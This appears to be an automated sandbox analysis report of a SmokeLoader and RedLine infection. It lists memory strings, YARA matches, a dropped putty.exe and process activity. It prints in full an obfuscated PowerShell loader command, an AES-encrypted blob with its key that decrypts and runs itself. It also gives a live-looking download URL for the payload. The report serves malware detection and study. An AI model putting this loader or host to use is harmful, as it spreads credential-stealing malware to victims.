Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cv
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/i
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/in
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/inv
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invo
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoc
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.p
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pd
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pdf
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pdfp
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/p
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/pu
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/put
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putt
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.e
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.ex
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.exe
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.6.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: explorer.exe, 0000000E.00000000.2311889779.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: powershell.exe, 00000002.00000002.2249188831.0000028F263F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 0000000E.00000000.2324110985.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000007.00000003.2215988718.0000020C1DB70000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000002.00000002.2249188831.0000028F26613000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2249188831.0000028F27299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: powershell.exe, 00000002.00000002.2310566265.0000028F36462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 0000000E.00000000.2324110985.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000E.00000000.2311889779.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 0000000E.00000000.2324110985.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 5.3.putty.exe.550000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.sarbjfc.5d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.sarbjfc.5e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.sarbjfc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2518973647.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2236336367.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 2828, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)			Jump to behavior

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	5_2_00402F8F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004013BF
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00401412 NtAllocateVirtualMemory,	5_2_00401412
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013CA NtAllocateVirtualMemory,	5_2_004013CA
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004014D3
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013D9 NtAllocateVirtualMemory,	5_2_004013D9
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013E0 NtAllocateVirtualMemory,	5_2_004013E0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013F0 NtAllocateVirtualMemory,	5_2_004013F0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004013F4 NtAllocateVirtualMemory,	5_2_004013F4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004014F7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004014B5
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	16_2_00402F8F
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	16_2_004013BF
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00401412 NtAllocateVirtualMemory,	16_2_00401412
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013CA NtAllocateVirtualMemory,	16_2_004013CA
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	16_2_004014D3
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013D9 NtAllocateVirtualMemory,	16_2_004013D9
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013E0 NtAllocateVirtualMemory,	16_2_004013E0
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013F0 NtAllocateVirtualMemory,	16_2_004013F0
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004013F4 NtAllocateVirtualMemory,	16_2_004013F4
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	16_2_004014F7
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	16_2_004014B5

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344A6ED3	2_2_00007FFD344A6ED3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344A609D	2_2_00007FFD344A609D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344A6CFA	2_2_00007FFD344A6CFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344A4A45	2_2_00007FFD344A4A45
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34573B5D	2_2_00007FFD34573B5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34570FB6	2_2_00007FFD34570FB6
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00415CCA	5_2_00415CCA
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00418CB7	5_2_00418CB7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004129C7	5_2_004129C7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004191FB	5_2_004191FB
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00413270	5_2_00413270
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0041367C	5_2_0041367C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0040CA8E	5_2_0040CA8E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00412E9C	5_2_00412E9C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00413A9C	5_2_00413A9C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0041973F	5_2_0041973F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00413FDC	5_2_00413FDC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0041AB98	5_2_0041AB98
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00415CCA	16_2_00415CCA
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00418CB7	16_2_00418CB7
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004129C7	16_2_004129C7
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004191FB	16_2_004191FB
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00413270	16_2_00413270
